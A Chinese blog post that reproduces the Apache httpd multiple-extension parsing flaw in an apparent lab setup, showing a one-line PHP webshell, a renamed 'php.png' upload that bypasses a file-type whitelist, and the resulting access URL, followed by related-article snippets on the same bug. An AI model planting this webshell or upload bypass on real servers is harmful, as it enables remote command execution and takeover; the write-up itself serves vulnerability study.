apache-httpd_多后缀名解析漏洞

最新推荐文章于 2024-07-15 13:55:29 发布
最新推荐文章于 2024-07-15 13:55:29 发布
阅读量152 收藏
点赞数
分类专栏： 漏洞复现 文章标签： apache 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/acdcccc/article/details/132747248
版权
Apache服务器存在高危漏洞，源于管理员配置不当，允许非.php后缀文件通过AddHandler执行PHP代码。攻击者可利用此漏洞进行命令执行和可能的GetShell。修复建议缺失，用户应检查和修正配置以防止此类攻击。
摘要由CSDN通过智能技术生成

Apache-ttpd_多后缀名解析漏洞

说明内容
漏洞编号
漏洞名称apache httpd 多后缀解析漏洞
漏洞评级高危
影响范围该漏洞并不是apache程序本身的问题，而是管理员配置不当造成
漏洞描述Apache HTTPD 支持一个文件拥有多个后缀，并为不同后缀执行不同的指令
修复方案

漏洞描述

该漏洞并不是apache程序本身的问题，而是管理员配置不当造成。Apache支持一个文件具有多个后缀，并为不同的后缀执行不同的指令。

漏洞等级

高危

影响版本

  • 该漏洞并不是apache程序本身的问题，而是管理员配置不当造成

漏洞复现

基础环境

组件版本
OSkali-linux
Web Serverchrome

漏洞验证

  1. 启动环境，访问主页

    在这里插入图片描述

  2. 上传一个php文件，内容为一句话木马+phpinfo，进行抓包

    <?php
@eval($_REQUEST[777]);phpinfo();

    在这里插入图片描述

  3. 修改后缀名为任意字符

    filename="1_info.cwc

    在这里插入图片描述

  4. 修改文件后缀为png

    filename="1_info.php.png

    在这里插入图片描述

  5. 访问文件

    http://192.168.117.163/uploadfiles/1_info.php.png

    在这里插入图片描述

原理是AddHandler配置，遇到.php就将文件作为php文件进行执行；但并不是以.php结尾，只要文件名中含有.php，就会作为php文件执行

在这里插入图片描述

深度利用

命令执行

可以进行命令执行

GetShell

可以上传一句话木马进行getshell

漏洞挖掘

网络测绘

apache httpd

修复建议

无

cwangc000
关注
专栏目录
Apache[多后缀文件名解析漏洞+换行解析漏洞+SSI远程命令执行漏洞]复现
weixin_45253622的博客
05-09 8267
一、多后缀文件解析漏洞 Apache的多后缀名特性： 如果一个文件有多个后缀名，那么Apache会从后（右）往前（左）辨别后缀。所以攻击者在可以上传文件的地方上传hack.php.xxx的文件，假设网站有对php的后缀进行过滤，但判断是xxx文件，不在黑名单里，安全检查就会放行，然而Apache的多后缀名特性会以倒数第二个后缀".php"为准，把该文件当做是php文件，解析执行。但是需要把 php5.conf文件中的正则表达式的“$”换成"."，然后重启。 总结：Apache文件解析漏洞就是由于用户在
3. Apache httpd 安全加固之多后缀名解析漏洞
薛定谔嘚喵博客
03-31 673
Apache httpd 安全加固之多后缀名解析漏洞 漏洞原理：在有多个后缀的情况下，只要一个文件含有.php后缀的文件即将被识别成PHP文件，没必要是最后一个后缀。利用这个特性，将会造成一个可以绕过上传白名单的解析漏洞。
apache httpd多后缀解析漏洞复现
WY92139010的博客
07-28 482
apache httpd多后缀解析漏洞复现 一、漏洞描述 Apache Httpd支持一个文件拥有多个后缀,不同的后缀执行不同的命令,也就是说当我们上传的文件中只要后缀名含有php,该文件就可以被解析成php文件,利用Apache httpd这个特性,就可以绕过上传文件的白名单。 该漏洞和apache版本和php版本无关,属于用户配置不当造成的解析漏洞 二、漏洞原理 由于管理员...
vulhub-httpd-apache_parsing_vulnerability
Ronin_qianmo的博客
07-27 451
1、漏洞描述 在有多个后缀的情况下，只要一个文件含有.php后缀的文件即将被识别成PHP文件，没必要是最后一个后缀。利用这个特性，将会造成一个可以绕过上传白名单的解析漏洞。 2、漏洞原理 Apache HTTPD 支持一个文件拥有多个后缀，并为不同后缀执行不同的指令。比如，如下配置文件： AddType text/html .html AddLanguage zh-CN .cn 其给.html后缀增加了media-type，值为text/html；给.cn后缀增加了语言，值为zh-CN。此时，如果用户请求文
apache httpd 多后缀解析漏洞
qq_70303095的博客
01-08 222
apache httpd 多后缀解析漏洞
Apache HTTPD 多后缀解析漏洞
m0_63082628的博客
07-15 307
多后缀名解析漏洞（Multiple Extension Handling Vulnerability）指的是一种安全漏洞，发生在某些操作系统或网络服务中的文件扩展名处理机制中。这种漏洞的本质是当文件具有多个后缀名（例如file.txt.php）时，系统或服务可能会错误地解析文件的类型和处理方式。攻击者可以利用这个漏洞来绕过安全检查，欺骗系统或服务执行不应该执行的操作。
06 - vulhub - Apache HTTPD 多后缀解析漏洞
2301_82241859的博客
04-12 845
漏洞原理漏洞复现漏洞利用验证漏洞利用是否成功修复建议漏洞名称：Apache HTTPD 多后缀解析漏洞简介：httpd是Apache超文本传输协议(HTTP)服务器的主程序。被设计为一个独立运行的后台进程，它会建立一个处理请求的子进程或线程的池。Apache Httpd支持一个文件拥有多个后缀,不同的后缀执行不同的命令,也就是说当我们上传的文件中只要后缀名含有php,该文件就可以被解析成php文件。比如，如下配置文件：AddType text/html .htmlAddLanguage zh-CN .cn其
11-3 Apache多后缀解析漏洞分析
weixin_43263566的博客
11-24 1641
该漏洞与用户的配置有密切的关系，严格来说属于用户配置问题。Apache文件解析漏洞涉及到 Apache 解析文件的特性。在默认情况下，Apache 允许一个文件具有多个以点分割的后缀，在处理文件时会从右向左识别后缀名。(就是右边的后缀名无法识别，则继续识别左边的)如果运维人员给具有 .php 后缀的文件添加了处理程序 AddHandler application/x-httpd-php .php，那么在文件具有多个后缀的情况下，只要文件含有 .php 后缀，该文件就会被识别为 PHP 文件并进行解析。
漏洞复现（Vulhub）-Apache HTTPD 换行解析漏洞（CVE-2017-15715）
qq_60848021的博客
09-20 1349
原理：apache-CVE-2017-15715 的出现是由于apache 在修复第一个后缀名解析漏洞时，使用 正则表达式匹配后缀，在解析php时xxx.php\\x0A 将被php后缀进行解析，导致绕过一些服务器的安全策略。命令含义：--zone #作用域 --add-port=80/tcp #添加端口，格式为：端口/通讯协议 --permanent #永久生效，没有此参数重启后失效。firewall-cmd --list-ports 查看所有开启的端口。成功出现php配置文件界面，说明解析成功。
Apache HTTPD多后缀解析漏洞
weixin_45995579的博客
09-30 1369
1.ubuntu镜像安装 在docker-master/htttpd/apache_parsing_vulnerability路径下进行安装： docker-compose up -d 2.目标网站访问 环境运行后，访问http://your-ip/uploadfiles/apache.php.jpeg即可发现，phpinfo被执行，该文件被解析为php脚本。 http://you-ip/index.php中是一个白名单检查文件后缀的上传组件，上传完成后并未重命名..
NSSCTF实战：Apache HTTPD 多后缀解析漏洞
weixin_52270928的博客
05-17 625
Apache文件解析漏洞涉及到一个Apache解析文件的特性，Apache默认一个文件可以有多个以点.分割的后缀，当右边的后缀名无法识别，则继续向左识别。那么在有多个后缀的情况下，只要文件含有.php后缀那么该文件就会被识别为php文件进行解析。
semanage fcontext -a -t httpd_sys_content_t
最新发布
09-10
这通常用于配置Web服务器的根目录，确保Web服务器进程（如Apache的httpd服务）能够正确地访问其内容。 例如，如果你想要把 `/var/www/html` 目录设置为Web服务器的内容目录，并确保SELinux允许Web服务器访问这个...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

cwangc000

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值